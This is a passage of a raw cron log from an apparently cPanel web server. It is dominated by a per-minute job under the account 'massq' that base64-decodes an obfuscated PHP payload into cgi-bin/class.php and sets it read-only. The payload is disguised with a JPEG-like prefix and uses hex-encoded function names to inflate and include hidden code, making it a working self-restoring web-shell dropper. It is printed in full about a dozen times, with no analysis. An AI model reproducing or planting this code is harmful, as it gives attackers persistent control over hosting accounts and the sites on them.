&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:59:01 server CROND[400]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:00:01 server CROND[678]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 22:00:01 server CROND[680]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 22:00:02 server CROND[681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:00:02 server CROND[682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:00:02 server CROND[683]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:01:01 server CROND[999]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 22:01:01 server CROND[1000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:01:01 server run-parts(/etc/cron.hourly)[999]: starting 0anacron
Nov 15 22:01:01 server run-parts(/etc/cron.hourly)[1012]: finished 0anacron
Nov 15 22:02:01 server CROND[1282]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:03:01 server CROND[1639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:04:01 server CROND[1909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:05:01 server CROND[2173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:05:01 server CROND[2175]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:05:01 server CROND[2176]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 22:05:01 server CROND[2177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:06:01 server CROND[2504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:07:01 server CROND[2834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:08:01 server CROND[3196]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:09:01 server CROND[3470]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 22:09:01 server CROND[3471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:10:01 server CROND[3752]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:10:01 server CROND[3753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:10:01 server CROND[3754]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:10:01 server CROND[3755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
